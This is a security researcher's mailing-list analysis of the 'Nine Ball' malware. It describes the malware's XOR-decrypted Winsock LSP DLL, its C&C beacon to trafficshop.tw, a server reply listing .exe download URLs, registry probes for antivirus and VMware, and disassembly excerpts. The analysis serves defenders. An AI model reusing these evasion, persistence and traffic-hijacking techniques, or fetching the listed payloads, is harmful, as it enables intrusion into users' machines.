Hi,

It all started when reports started to come from WebSense that more than
40,000 legitimate web sites had been compromised by a new wave of attacks
being dubbed as 'Nine Ball'.  Initial reports did not have enough details to
help identify the malware behind these attacks.  Luckily soon after, Andrew
Martin came up with a very good write up about the malware behind the
scenes.  My article is an extension of Martin's initial analysis.  I'll try
to concentrate on aspects of this malware not already covered.  From
Andrew's analysis, I was able to find the md5 of the parent malware (the one
which is dropped by web exploit(s)). It was enough to give me a good
starting point.

The malware (32b7671aab9a5b8cf17d8eeb0993a266) was found to be packed with
'ASPack'.  Upon execution this binary extracts two files out if its resource
section and copies them under %SYSTEM%.

SOCKET2w.DLL: efe928d8f1c0fd75b72f69f6eb874f53

SPORDER.DLL : a082e5473b2a9a4d846ed7ddf637ac76

Without diving into a deep analysis, the names of these dll files are enough
to give a hint about the underlying functionality.  "SPORDER.DLL" is a
legitimate API set provided by Microsoft (part of Platform SDK which doesn't
come with the standard Windows installation) to help install additional
layered service providers (LSP).  In windows LSPs are a layer between
WINSOCK2 and lower level transport services like TCP/IP.  In short LSPs give
a way to intercept the traffic going in or out of the system.  All the
transport level WINSOCK API calls will eventually be redirected to a chain
of installed LSPs APIs.  The SPI (service provider interface) was actually
designed to enhance the capability of the Windows WINSOCK interface but due
to its capability to intercept network traffic at user space, many malware
started using it for traffic sniffing.

Initially I thought SOCKET2w.DLL was the malware LSP module (LSPs exist in
the form of dlls) containing all the logic but this was not completely
true.  It's an encrypted form of the actual LSP dll.  It happens like this,
after SOCKET2w.dll is extracted from the resource section, its contents are
decrypted and stored in a new file with the name of SOCKET2.DLL.  This is
the actual PE file which will be installed as LSP on the infected system
later on.

The decryption logic looks like this:

Every byte of SOCKET2w.DLL is xored with one byte from a magic number
0x1F90FEB cyclically.

byte[0] ^= 0xEB;

byte[1] ^= 0x0F;

byte[2] ^= 0xF9;

byte[3] ^= 0x01;

byte[4] ^= 0xEB; // BACK TO FIRST BYTE

byte[5] ^= 0x0F

.

.

and so on

The real implementation looks like this:

.text:00401B54                 sub     esp, 10h
.text:00401B57                 mov     ecx, [esp+10h+arg_4]
.text:00401B5B                 test    ecx, ecx
.text:00401B5D                 jbe     short loc_401BA2
.text:00401B5F                 xor     edx, edx
.text:00401B61                 mov     eax, 1
.text:00401B66                 mov     [esp+10h+var_4], ebx
.text:00401B6A                 mov     [esp+10h+var_8], esi
.text:00401B6E                 mov     [esp+10h+var_C], edi
.text:00401B72                 mov     [esp+10h+var_10], ebp
.text:00401B75                 mov     ebp, [esp+10h+arg_8]
.text:00401B79                 mov     esi, [esp+10h+arg_0]
.text:00401B7D
.text:00401B7D loc_401B7D:
.text:00401B7D              movzx   ebx, byte ptr [eax+ebp-1]
.text:00401B82              xor     [edx+esi], bl
.text:00401B85              cmp     eax, [esp+10h+arg_C]
.text:00401B89              jnz     short loc_401B8D
.text:00401B8B              xor     eax, eax
.text:00401B8D
.text:00401B8D loc_401B8D:
.text:00401B8D                 inc     edx
.text:00401B8E                 inc     eax
.text:00401B8F                 cmp     edx, ecx
.text:00401B91                 jb      short loc_401B7D
.text:00401B93                 mov     ebx, [esp+10h+var_4]
.text:00401B97                 mov     esi, [esp+10h+var_8]
.text:00401B9B                 mov     edi, [esp+10h+var_C]
.text:00401B9F                 mov     ebp, [esp+10h+var_10]
.text:00401BA2
.text:00401BA2 loc_401BA2:
.text:00401BA2                 mov     eax, 1
.text:00401BA7                 add     esp, 10h
.text:00401BAA                 retn    10h
.text:00401BAA sub_401B54      endp

SOCKET2.DLL is further registered as a non IFS based Layered Service
Provider.

.text:0040152B                 push    offset LibFileName ; "sporder.dll"
.text:00401530                 call    ds:LoadLibraryA
.text:00401536                 mov     dword_405040, eax
.text:0040153B                 test    eax, eax
.text:0040153D                 jz      short loc_40155A
.text:0040153F                 push    offset ProcName ;
"WSCWriteProviderOrder"
.text:00401544                 push    eax             ; hModule
.text:00401545                 call    ds:GetProcAddress
.text:0040154B                 mov     dword_405124, eax
.text:00401550                 xor     edx, edx
.text:00401552                 test    eax, eax
.text:00401554                 setnz   dl
.text:00401557                 mov     eax, edx
.text:00401559                 retn

.text:00401B28                 push    edx
.text:00401B29                 mov     edx, [ebp+Memory]
.text:00401B2C                 push    edx
.text:00401B2D                 call    dword_405124

What this means is that whenever any user level application tries to use the
WINSOCK interface, SOCKET2.DLL will get loaded automatically into that
process's address space. It gives this malware a root kit functionality as
well as ability to intercept network traffic at the user space level.

To invoke the malware instance, I launched a telnet session to
www.google.com from the infected PC.  It resulted in loading SOCKET2.DLL
into the telnet process space. Right after that, I observed an outbound cnc
communication:

GET
/zub/zc.php?l=US&d=EC4E4AF4EA4A44D19568ADB88998D52A&v=3.15.3&sft=AAAAAAAAA&rvz1=41&rvz2=0000597198
HTTP/1.1
Host: trafficshop.tw


HTTP/1.1 200 OK
Date: Fri, 19 Jun 2009 17:54:32 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
Content-Length: 1322
Content-Type: text/html


#U1:http://orep.tw/socks.exe
#U1:http://orep.tw/sever.exe
#U1:http://orep.tw/ic.exe

#U;: | |ADVERTISING|--------------------------------------------| | |Men and
Woman Health T.a.b.s.| |Health&Care online Shop.|Low pricing, discounts,
flawless customer support. New discounts and special offers !| |
http://www.webo.tw||--------------------------------------------|%%

#U7: | |ADVERTISING|--------------------------------------------| | |Men and
Woman Health T.a.b.s.| |Health&Care online Shop.|Low pricing, discounts,
flawless customer support. New discounts and special offers !| |
http://www.webo.tw||--------------------------------------------|%%

#U?: | |ADVERTISING|--------------------------------------------| | |Men and
Woman Health T.a.b.s.| |Health&Care online Shop.|Low pricing, discounts,
flawless customer support. New discounts and special offers !| |
http://www.webo.tw||--------------------------------------------|%%

#U=: | |FORUM
ADVERTISING|--------------------------------------------||[URL=
http://www.best-med-shop.com]  ||Canadian medicine and pharmacy is most
professional. Generic pills. High qulity and lowest price.||Viagra, Cialis,
Levitra, Propecia, Champix, Tamiflu, Xenical, Reductil, Intrinsa....
[/url]|||http://www.best-med-shop.com
||--------------------------------------------%%

There are two things which are clearly visible from the above communication:

1. This malware has quite a robust download mechanism. Which could be used
for the malware update itself or for dropping other malware onto the
infected system.

2. It has something to do with advertisements. As a matter of fact its
existence at the LSP layer is giving it a very powerful capability to inject
these fake advertisements into any legitimate session.

If we see the code structure inside SOCKET2.DLL, it can logically be divided
into two parts.

1. Command and control coordination module.

2. Network session manipulation/hijacking (actual payload).

Almost all the CnC coordination and initial setup logic can be found in
'DllMain'.  The first few statements in DllMain try to check the name of the
current process.  If the current instance is one of these processes,

1.svhost.exe

2.lsass.exe

3. winlogon.exe

4.alg.exe

5.norun.exe

DllMain returns without doing anything, passing control gracefully to the
lower level LSPs. It's a deliberate attempt by SOCKET2.DLL not to inject
itself in the critical system processes.  If the running process is not one
of the above mentioned processes it generates a unique 32 character User ID
and writes it under

HKEY_LOCAL_MACHINE\SOFTWARE\\MICROSOFT\\WINDOWS

                                                              SUID= 32
character string

This SUID is calculated with the help of these two APIs

CoCreateGuid
StringFromGUID2

The SUID will consist of the first 32 non null characters returned by
'StringFromGUID2' excluding the first non null character '{'.

A typical SUID instance will look like this
'EC4E4AF4EA4A44D19568ADB88998D52A'

After setting the 'SUID' value, another registry value 'IVS'  of dword type
is created under 'HKEY_LOCAL_MACHINE\SOFTWARE\\MICROSOFT\\WINDOWS' and is
initialized with 0. IVS is a persistent variable which is incremented every
time a unique session is intercepted by the SOCKET2.DLL (which will be
discussed  later on).

After creating the above mentioned registry keys, a mutex is checked/created
with the name of 'Global\FGVVSDSGBB'.  If the mutex is not already present
(from a previous instance of SOCKET2.DLL) the code starts preparing itself
for CnC communication.

GET
/zub/zc.php?l=US&d=EC4E4AF4EA4A44D19568ADB88998D52A&v=3.15.3&sft=AAAAAAAAA&rvz1=41&rvz2=0000597198
HTTP/1.1
Host: trafficshop.tw

In this process, different system attributes are retrieved and sent back to
the CnC server in the form of 'HTTP GET' parameters.  Let's start finding
out how the above mentioned GET request is formulated.

1. the host 'trafficshop.tw' and the first part of URI (/zub/zc.php) are
hard coded in the code.

2. 'l=' describes the user's locale , retrieved from the 'GetLocaleInfoA'
API.

3. 'd=' is a 32 character 'SUID' as discussed above.  It probably helps the
botmaster count the number of unique zombies.

4. 'v=' at this location a hard coded string "3.15.3" is always supplied.

5. 'sft=' represents an interesting malware feature, its ability to check
the installation of a large array of security products on the infected
system.  Once this information is retrieved it is sent back to the CnC
server inside the 'sft=' value.  Each character in the value string
represents the existence of a particular security product on the infected
system.  The absence of any any particular AV package will result in sending
'A' instead.  It does so by probing different registry keys created by
different AV suites like:

HKLM\Software\KasperskyLab
HKLM\Software\McAfee\VirusScan
HKLM\Software\Symantec\Symantec AntiVirus
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AntiVir
PersonalEdition Classic
HKLM\SYSTEM\ControlSet001\Services\avgntflt
HKLM\Software\ALWIL Software\Avast
HKLM\Software\Doctor Web, Ltd.
HKLM\Software\Panda Software
HKLM\Software\FRISK Software International
HKLM\Software\Ukranian Antivirus center
HKLM\Software\SOFTWIN\BitDefender Desktop\Maintenance\Install
HKLM\Software\PepiMK Software\SpybotSnD
HKLM\Software\Arovax AntiSpyware
HKLM\Software\Grisoft\AVGAntiSpyware
HKLM\Software\ComputerAssociates\eTrustPestPatrol
HKLM\Software\McAfee\McAfee AntiSpyware
HKLM\Software\Spyware Begone!
HKLM\Software\Chilkat Software, Inc.
HKLM\SYSTEM\CurrentControlSet\Services\WinDefend

Not only does it detect security products but it also tries to check for the
existence of VmWare by checking the following key.

HKLM\Software\VMware, Inc.

Please note here that checking these security product installations is only
done once.  A registry value

HKEY_LOCAL_MACHINE\SOFTWARE\\MICROSOFT\\WINDOWS

                                        sft=

is checked first.  If this registry value is already set then this process
is skipped, otherwise the AVs existence will be checked and afterward the
'sft' value will be set to 'x'.

.text:10001E71                 push    edx             ; lpData
.text:10001E72                 push    ecx             ; lpType
.text:10001E73                 push    ebx             ; lpReserved
.text:10001E74                 push    offset ValueName ; "sft"
.text:10001E79                 push    [ebp+hKey]      ; hKey
.text:10001E7C                 call    ds:RegQueryValueExA
.text:10001E82                 test    eax, eax
.text:10001E84                 jz      loc_10001F70
.text:10001E8A                 push    offset Data     ; "x"
.text:10001E8F                 call    ds:lstrlenA
.text:10001E95                 add     eax, 1
.text:10001E98                 push    eax             ; cbData
.text:10001E99                 push    offset Data     ; "x"
.text:10001E9E                 push    1               ; dwType
.text:10001EA0                 push    0               ; Reserved
.text:10001EA2                 push    offset ValueName ; "sft"
.text:10001EA7                 push    [ebp+hKey]      ; hKey
.text:10001EAA                 call    ds:RegSetValueExA
.text:10001EB0                 lea     ecx, [ebp+var_A8]
.text:10001EB6                 mov     [ebp+var_5C], ecx
.text:10001EB9                 call    ??0CString@@q...@xz ;
CString::CString(void)
.text:10001EBE                 mov     [ebp+var_4], 6
.text:10001EC5                 lea     ecx, [ebp+var_A4]
.text:10001ECB                 call    ??0CStringArray@@q...@xz ;
CStringArray::CStringArray(void)
.text:10001ED0                 mov     [ebp+var_4], 7
.text:10001ED7                 lea     ecx, [ebp+var_90]
.text:10001EDD                 call    ??0CStringArray@@q...@xz ;
CStringArray::CStringArray(void)
.text:10001EE2                 mov     [ebp+var_4], 8
.text:10001EE9                 lea     eax, [ebp+var_64]
.text:10001EEC                 push    0
.text:10001EEE                 push    eax
.text:10001EEF                 lea     ecx, [ebp+var_A8]
.text:10001EF5                 call    CheckAVProducts

6. 'rvz1=' is filled by a random number returned by the rand() function.

7.rvz2 = is filled by the number returned by GetTickCount, where this API
returns the number of milliseconds since the device booted.

.text:10010BF5                 mov     [ebp+var_4], 1
.text:10010BFC                 mov     eax, ds:rand
.text:10010C01                 call    eax ; rand
.text:10010C03                 mov     [ebp+var_28], eax
.text:10010C06                 mov     eax, ds:GetTickCount
.text:10010C0B                 call    eax ; GetTickCount
.text:10010C0D                 mov     [ebp+var_24], eax
.text:10010C10                 add     esp, 0FFFFFFF0h
.text:10010C13                 lea     eax, [ebp+var_3C]
.text:10010C16                 mov     [esp+54h+var_54], eax
.text:10010C19                 mov     [esp+54h+var_50], offset
aRvz1DRvz2_10u ; "rvz1=%d&rvz2=%.10u"
.text:10010C21                 mov     eax, [ebp+var_28]
.text:10010C24                 mov     [esp+54h+var_4C], eax
.text:10010C28                 mov     eax, [ebp+var_24]
.text:10010C2B                 mov     [esp+54h+var_48], eax
.text:10010C2F                 call    ?for...@cstring@@QAAXPBDZZ ;
CString::Format(char const *,...)

Once the complete URL is formulated it is sent to the remote server with a
call to 'CInternetSession__OpenURL'. This pretty much completes the entire
command and control coordination phase.

-- 
You received this message because you are subscribed to the Google Groups 
"nforceit" group.
To post to this group, send an email to [email protected].
To unsubscribe from this group, send email to 
[email protected].
For more options, visit this group at 
http://groups.google.com/group/nforceit?hl=en-GB.

Reply via email to